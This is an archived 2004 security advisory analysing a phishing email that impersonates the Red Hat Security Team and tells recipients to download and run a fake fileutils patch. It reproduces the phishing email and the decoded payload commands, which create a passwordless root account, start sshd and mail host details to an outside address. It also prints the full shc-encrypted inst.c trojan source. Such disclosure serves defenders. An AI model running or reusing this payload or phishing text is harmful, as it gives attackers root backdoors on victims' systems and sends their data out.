what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FakeRedhatPatchAnalysis.txt

FakeRedhatPatchAnalysis.txt
Posted Oct 27, 2004
Site k-otik.com

A full analysis of the fake Fedora-Redhat security alert with trojan source code.

tags | advisory, trojan
systems | linux, redhat, fedora
SHA-256 | 8363031320a70cbe7df28708097e682234dcc27ea3743a8624775138f0c9cb39

FakeRedhatPatchAnalysis.txt

Change Mirror Download
/By K-OTik Security Research & Survey Team <mailto:survey@k-otik.com>/*_

URL_*_ _
http://www.k-otik.com/news/FakeRedhatPatchAnalysis.txt
<http://www.k-otik.com/news/FakeRedhatPatchAnalysis.txt>

_*Release Date*_
October 25, 2004*_

Synopsis_*

Emails pretending to come from the Red Hat Security Team are circulating
in the wild. These emails tell users to download and install malicious
updates. These trojaned updates contain malicious code designed to
compromise the systems they are run on.

_*The Fake Email*_

Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could
allow a remote attacker to execute arbitrary code with root privileges.
Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
known that *BSD and Solaris platforms are NOT ed. The RedHat Security
Team strongly advises you to immediately apply the fileutils-1.0.6
patch. This is a critical-critical update that you must make by
following these steps:

* First download the patch from the Security RedHat mirror:
wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
* make
* ./inst

Again, please apply this patch as soon as possible or you risk your
system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

_*The Execution*_

tar zxvf fileutils-1.0.6.patch.tar.gz

* fileutils-patch.bin
* inst.c (the malicious payload)
* Makefile

_*This rootkit does the following*_

* Create the user "bash" without a password
* Grab the IP address and the uptime
* Start SSHd
* Mail this informations to root@addlebrain.com

*_Logs_*

The trojaned C code was generated and encoded by _shc_
<http://www.datsi.fi.upm.es/~frosal/sources/shc.html>, running this code
does the following :

echo "Inca un root frate belea: " >> /tmp/mama
adduser -g 0 -u 0 -o bash >> /tmp/mama
passwd -d bash >> /tmp/mama
ifconfig >> /tmp/mama
uname -a >> /tmp/mama
uptime >> /tmp/mama
sshd >> /tmp/mama
echo "user bash stii tu" >> /tmp/mama
cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
rm -rf /tmp/mama

_*The code - inst.c*_

#if 0
shc Version 3.7, Generic Script Compiler
shc -v -r -T -f redhat
#endif

static long date = 0;
static char mail[] = "Please contact your provider";
static int relax = 1;
typedef char pswd_t[433];
static char pswd[] =
"\112\326\126\023\345\101\227\242\127\260\241\033\143\344\132\161"
"\071\320\301\103\056\023\044\053\136\365\273\307\014\033\346\213"
"\012\176\145\076\305\057\222\140\013\163\022\014\266\152\133\056"
"\055\055\117\325\077\140\120\025\356\256\310\170\017\153\162\107"
"\225\266\313\200\345\263\017\174\224\255\001\005\012\151\271\322"
"\356\260\322\136\126\347\347\026\162\253\362\224\350\150\071\147"
"\347\202\366\114\104\134\277\102\343\302\275\107\144\271\053\002"
"\337\045\271\361\045\310\070\327\241\313\227\271\163\003\046\026"
"\232\241\345\152\151\375\036\365\323\246\050\227\325\140\023\126"
"\020\363\136\323\032\333\176\021\016\325\274\114\304\144\171\232"
"\356\176\170\257\340\133\311\172\132\363\307\323\312\221\237\373"
"\000\204\246\324\174\215\166\237\276\376\044\320\373\345\034\107"
"\355\013\234\346\316\133\072\157\104\317\250\006\063\232\321\355"
"\121\202\217\343\207\370\115\072\150\310\231\213\151\155\133\166"
"\237\207\324\236\014\107\335\271\306\022\022\257\061\133\062\355"
"\213\173\122\100\272\266\257\332\355\302\117\062\074\063\275\145"
"\073\056\143\151\031\303\210\151\331\353\262\246\336\143\257\210"
"\060\321\040\143\142\001\363\261\302\164\052\125\375\160\115\252"
"\354\264\302\050\360\266\132\047\365\053\101\027\051\052\165\223"
"\371\316\001\011\027\314\255\273\123\373\356\330\035\074\212\313"
"\343\225\026\114\201\154\250\212\064\140\023\114\074\226\306\021"
"\236\244\330\037\001\222\135\211\045\047\357\177\000\045\024\366"
"\250\215\335\116\171\170\026\335\273\106\037\225\366\104\103\162"
"\045\032\371\270\031\067\212\016\113\213\355\103\010\063\164\323"
"\354\115\214\262\241\111\230\102\106\172\327\260\047\301\146\261"
"\016\241\274\062\024\143\121\117\047\337\141\321\311\000\114\134"
"\132\053\236\061\232\035\250\154\016\165\060\141\202\212\047\175"
"\352\366\271\064\335\347\045\356\276\220\027";
typedef char shll_t[8];
static char shll[] =
"\027\227\104\215\344\060\226\051\353\036\220\073\114\040\167\126"
"\012\043\340\355";
typedef char inlo_t[3];
static char inlo[] =
"\036\173\055\223\266\275\074\222\066\027";
typedef char xecc_t[15];
static char xecc[] =
"\136\317\002\017\371\053\007\345\165\066\036\162\266\047\013\261"
"\363\204";
typedef char lsto_t[1];
static char lsto[] =
"\347\047\233\033\245\043\257\234\252\240\037\262";
#define TEXT_chk1 "KTZE4lIVf7i4BR"
typedef char chk1_t[15];
static char chk1[] =
"\176\150\322\244\275\145\026\000\230\311\274\166\150\124\334\163"
"\053\372\006\215";
typedef char opts_t[1];
static char opts[] =
"\331\051\317\253\133\114\076\242\237\252\144\142";
typedef char text_t[1199];
static char text[] =
"\302\214\330\267\274\114\354\115\323\353\153\135\350\215\100\341"
"\364\315\074\102\276\122\042\345\157\237\003\103\246\341\370\334"
"\354\221\335\166\270\142\306\045\355\173\260\100\343\073\063\146"
"\272\171\102\300\274\105\250\172\206\216\255\220\343\272\014\043"
"\005\057\144\113\057\373\202\222\234\002\306\356\312\144\300\000"
"\075\031\301\120\303\072\027\226\275\353\247\316\314\216\216\020"
"\336\171\201\144\221\147\005\234\000\315\131\366\044\361\370\107"
"\035\047\377\306\162\105\371\365\173\116\116\060\247\262\374\207"
"\101\025\340\324\170\363\223\213\105\102\130\167\143\272\341\202"
"\300\054\002\347\171\075\302\156\267\174\071\103\174\172\140\326"
"\372\101\071\103\227\326\005\236\151\002\050\343\003\265\311\102"
"\132\333\320\366\323\322\112\326\055\242\073\334\171\357\115\343"
"\305\111\031\130\153\027\033\266\125\246\265\264\246\042\106\253"
"\241\042\333\261\145\205\337\167\175\217\160\026\023\364\077\374"
"\327\354\217\270\343\140\123\326\162\002\041\266\120\212\154\253"
"\207\157\222\144\144\055\221\302\367\037\256\357\147\166\223\266"
"\004\075\221\132\351\347\215\034\017\170\314\341\206\171\374\205"
"\344\050\170\353\072\001\247\044\372\304\047\231\006\153\352\135"
"\135\006\034\223\012\133\132\074\140\211\130\106\072\272\311\132"
"\131\271\012\062\277\262\332\334\026\205\133\227\373\036\063\031"
"\121\244\027\357\024\032\143\366\065\102\001\057\202\206\271\331"
"\203\020\230\064\330\026\117\160\331\361\372\151\163\076\126\260"
"\125\373\333\052\123\170\022\031\121\060\203\314\367\161\266\056"
"\227\172\244\065\372\022\275\255\377\277\247\061\077\020\142\307"
"\012\157\131\327\024\130\161\213\027\302\105\004\240\264\213\307"
"\151\025\001\164\055\350\106\056\252\133\205\116\254\047\325\174"
"\347\141\017\276\166\241\356\154\213\015\135\206\321\315\004\346"
"\205\331\254\167\107\003\331\125\121\065\175\051\016\333\340\370"
"\306\201\166\103\315\366\226\141\307\221\101\372\027\352\362\146"
"\234\022\222\101\345\343\055\364\160\161\346\025\171\040\064\176"
"\131\317\325\376\015\175\027\152\315\321\274\152\330\121\300\342"
"\120\357\357\267\175\064\335\307\074\177\121\142\175\352\173\110"
"\053\021\116\172\363\124\143\226\051\360\132\035\160\256\252\140"
"\134\216\100\024\226\264\167\125\214\051\146\144\163\240\167\260"
"\350\142\173\155\354\156\302\162\202\227\366\312\271\352\063\273"
"\370\077\174\235\110\302\151\362\116\203\330\033\343\264\071\345"
"\013\265\244\241\355\351\145\377\255\154\032\070\025\176\374\313"
"\374\310\130\057\271\132\311\246\024\323\057\172\363\316\225\302"
"\216\230\217\103\217\354\324\144\133\201\254\337\170\260\310\251"
"\154\122\123\050\044\107\216\160\306\105\022\370\055\043\211\241"
"\363\356\162\172\015\246\210\266\131\237\065\205\263\037\217\270"
"\153\246\032\255\271\217\301\232\353\056\255\235\154\047\353\167"
"\066\362\333\066\153\174\214\352\367\223\077\322\343\234\354\252"
"\102\372\071\126\374\137\165\060\047\140\032\040\267\044\053\100"
"\342\152\227\160\306\054\025\325\133\074\166\246\014\146\000\001"
"\221\073\055\061\267\146\150\076\132\364\101\146\113\336\305\377"
"\133\357\233\324\346\032\052\310\322\156\245\165\340\021\303\153"
"\060\053\153\137\234\226\023\132\134\024\156\121\053\221\125\227"
"\205\241\304\002\231\303\322\271\142\111\275\222\073\346\073\320"
"\055\267\026\333\267\136\253\352\346\060\034\076\045\032\374\222"
"\375\352\237\203\315\014\351\123\306\331\175\254\370\130\036\343"
"\071\336\273\221\165\260\053\250\003\331\046\317\121\176\053\342"
"\106\323\106\316\117\362\206\346\212\322\165\356\133\145\026\377"
"\263\263\307\255\216\137\352\251\122\241\156\121\033\074\365\256"
"\315\335\231\137\040\030\201\302\104\017\005\012\233\217\266\377"
"\043\113\203\055\064\121\234\266\222\210\254\011\303\113\350\341"
"\200\307\352\130\040\310\142\107\315\141\005\225\061\010\162\373"
"\013\344\220\122\205\224\016\311\220\240\343\260\226\130\215\160"
"\241\120\117\321\147\324\147\317\207\136\117\033\002\206\347\340"
"\122\117\157\274\060\022\071\250\140\130\307\201\317\100\146\256"
"\126\135\302\253\250\022\250\274\221\051\172\270\265\156\003\107"
"\035\337\153\160\126\335\263\217\143\233\000\214\345\246\354\303"
"\050\040\361\331\060\020\354\007\322\047\104\124\030\303\156\035"
"\250\222\242\001\236\104\061\246\132\272\224\365\003\065\165\363"
"\210\042\362\123\222\274\124\343\024\124\153\056\023\110\031\340"
"\023\035\214\057\143\276\374\211\270\156\057\304\015\311\317\032"
"\073\156\151\170\006\272\265\134\040\125\204\000\002\033\273\074"
"\053\007\211\131\205\300\212\136\275\134\233\226\210\161\101\107"
"\215\253\220\174\242\323\025\007\246\267\046\371\245\326\265\221"
"\157\130\027\103\017\320\077\027\361\317\135\156\125\042\067\154"
"\271\336\152\162\102\224\240\307\316\174\111\174\104\312\111\075"
"\065\215\320\004\073\353\151\154\077\365\131\050\216\003\233\027"
"\045\323\162\175\043\212\121\114\315\363\026\214\053\232\345\315"
"\011\202\002\306\307\240\054\103\225\063\302\230\332\047\177\225"
"\211\056\354\376\215\332\206\337\124\375\135\207\033\344\130\233"
"\331\051\202\216\147";
#define TEXT_chk2 "O0AFdy47Rzu8"
typedef char chk2_t[13];
static char chk2[] =
"\162\047\213\323\345\143\301\204\175\267\026\301\110\344\301\113"
"\026\111\043\027\120\103\262\203\176\107\337";
typedef char hide_t[4096];

#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */
#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */

/* rtc.c */

#include <sys/stat.h>
#include <sys/types.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

/**
* 'Alleged RC4' Source Code picked up from the news.
* From: allen@gateway.grumman.com (John L. Allen)
* Newsgroups: comp.lang.c
* Subject: Shrink this C code for fame and fun
* Date: 21 May 1996 10:49:37 -0400
*/

static unsigned char state[256], indx, jndx;

/*
* Reset rc4 state.
*/
void state_0(void)
{
indx = jndx = 0;
do {
state[indx] = indx;
} while (++indx);
}

/*
* Set key. Can be used more than once.
*/
void key(char * str, int len)
{
unsigned char tmp, * ptr = (unsigned char *)str;
while (len > 0) {
do {
tmp = state[indx];
jndx += tmp;
jndx += ptr[(int)indx % len];
state[indx] = state[jndx];
state[jndx] = tmp;
} while (++indx);
ptr += 256;
len -= 256;
}
}

/*
* Crypt data.
*/
void rc4(char * str, int len)
{
unsigned char tmp, * ptr = (unsigned char *)str;
jndx = 0;
while (len > 0) {
indx++;
tmp = state[indx];
jndx += tmp;
state[indx] = state[jndx];
state[jndx] = tmp;
tmp += state[indx];
*ptr ^= state[tmp];
ptr++;
len--;
}
}

/*
* Key with file invariants.
*/
int key_with_file(char * file)
{
struct stat statf[1];
struct stat control[1];

if (stat(file, statf) < 0)
return -1;

/* Turn on stable fields */
memset(control, 0, sizeof(control));
control->st_ino = statf->st_ino;
control->st_dev = statf->st_dev;
control->st_rdev = statf->st_rdev;
control->st_uid = statf->st_uid;
control->st_gid = statf->st_gid;
control->st_size = statf->st_size;
control->st_mtime = statf->st_mtime;
control->st_ctime = statf->st_ctime;
key((char *)control, sizeof(control));
return 0;
}

#if DEBUGEXEC
void debugexec(char * shll, int argc, char ** argv)
{
int i;
fprintf(stderr, "shll=%s\n", shll ? shll : "<null>");
fprintf(stderr, "argc=%d\n", argc);
if (!argv) {
fprintf(stderr, "argv=<null>\n");
} else {
for (i = 0; i <= argc ; i++)
fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : "<null>");
}
}
#endif /* DEBUGEXEC */

void rmarg(char ** argv, char * arg)
{
for (; argv && *argv && *argv != arg; argv++);
for (; argv && *argv; argv++)
*argv = argv[1];
}

int chkenv(int argc)
{
char buff[512];
unsigned mask, m;
int l, a, c;
char * string;
extern char ** environ;

mask = (unsigned)chkenv;
mask ^= (unsigned)getpid() * ~mask;
sprintf(buff, "x%x", mask);
string = getenv(buff);
#if DEBUGEXEC
fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : "<null>");
#endif
l = strlen(buff);
if (!string) {
/* 1st */
sprintf(&buff[l], "=%u %d", mask, argc);
putenv(strdup(buff));
return 0;
}
c = sscanf(string, "%u %d%c", &m, &a, buff);
if (c == 2 && m == mask) {
/* 3rd */
rmarg(environ, &string[-l - 1]);
return 1 + (argc - a);
}
return -1;
}

#if !TRACEABLE

#define _LINUX_SOURCE_COMPAT
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>

void untraceable(char * argv0)
{
char proc[80];
int pid, mine;

switch(pid = vfork()) {
case 0:
pid = getppid();
/* For problematic SunOS ptrace */
sprintf(proc, "/proc/%d/as", (int)pid);
close(0);
mine = !open(proc, O_RDWR|O_EXCL);
if (!mine && errno != EBUSY)
mine = !ptrace(PTRACE_ATTACH, pid, 0, 0);
if (mine) {
kill(pid, SIGCONT);
} else {
fprintf(stderr, "%s is being traced!\n", argv0);
kill(pid, SIGKILL);
}
_exit(mine);
case -1:
break;
default:
if (pid == waitpid(pid, 0, 0))
return;
}
perror(argv0);
_exit(1);
}
#endif /* !TRACEABLE */

char * xsh(int argc, char ** argv)
{
char buff[512];
char * scrpt;
int ret, i, j;
char ** varg;

state_0();
key(pswd, sizeof(pswd_t));
rc4(shll, sizeof(shll_t));
rc4(inlo, sizeof(inlo_t));
rc4(xecc, sizeof(xecc_t));
rc4(lsto, sizeof(lsto_t));
rc4(chk1, sizeof(chk1_t));
if (strcmp(TEXT_chk1, chk1))
return "location has changed!";
ret = chkenv(argc);
if (ret < 0)
return "abnormal behavior!";
varg = (char **)calloc(argc + 10, sizeof(char *));
if (!varg)
return 0;
if (ret) {
if (!relax && key_with_file(shll))
return shll;
rc4(opts, sizeof(opts_t));
rc4(text, sizeof(text_t));
rc4(chk2, sizeof(chk2_t));
if (strcmp(TEXT_chk2, chk2))
return "shell has changed!";
if (sizeof(text_t) < sizeof(hide_t)) {
/* Prepend spaces til a sizeof(hide_t) script size. */
scrpt = malloc(sizeof(hide_t));
if (!scrpt)
return 0;
memset(scrpt, (int) ' ', sizeof(hide_t));
memcpy(&scrpt[sizeof(hide_t) - sizeof(text_t)], text, sizeof(text_t));
} else {
scrpt = text; /* Script text */
}
} else { /* Reexecute */
if (*xecc) {
sprintf(buff, xecc, argv[0]);
scrpt = buff;
} else {
scrpt = argv[0];
}
}
j = 0;
varg[j++] = argv[0]; /* My own name at execution */
if (ret && *opts)
varg[j++] = opts; /* Options on 1st line of code */
if (*inlo)
varg[j++] = inlo; /* Option introducing inline code */
varg[j++] = scrpt; /* The script itself */
if (*lsto)
varg[j++] = lsto; /* Option meaning last option */
i = (ret > 1) ? ret : 0; /* Args numbering correction */
while (i < argc)
varg[j++] = argv[i++]; /* Main run-time arguments */
varg[j] = 0; /* NULL terminated array */
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
}

int main(int argc, char ** argv)
{
#if DEBUGEXEC
debugexec("main", argc, argv);
#endif
#if !TRACEABLE
untraceable(argv[0]);
#endif
if (date && (date < (long)time(NULL))) {
fprintf(stderr, "%s has expired!\n", argv[0]);
fprintf(stderr, "%s\n", mail);
} else {
argv[1] = xsh(argc, argv);
fprintf(stderr, "%s%s%s: %s\n", argv[0],
errno ? ": " : "",
errno ? strerror(errno) : "",
argv[1] ? argv[1] : "<null>"
);
}
return 1;
}

*Disclaimer*
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties implied or otherwise with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this information.

*Feedback*
Updates and/or comments to:
K-OTik Security Corporation
http://www.k-otik.com
feedback@k-otik.com <mailto:feedback@k-otik.com>

/ © K-OTik.COM <mailto:veille@k-otik.com>
/
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close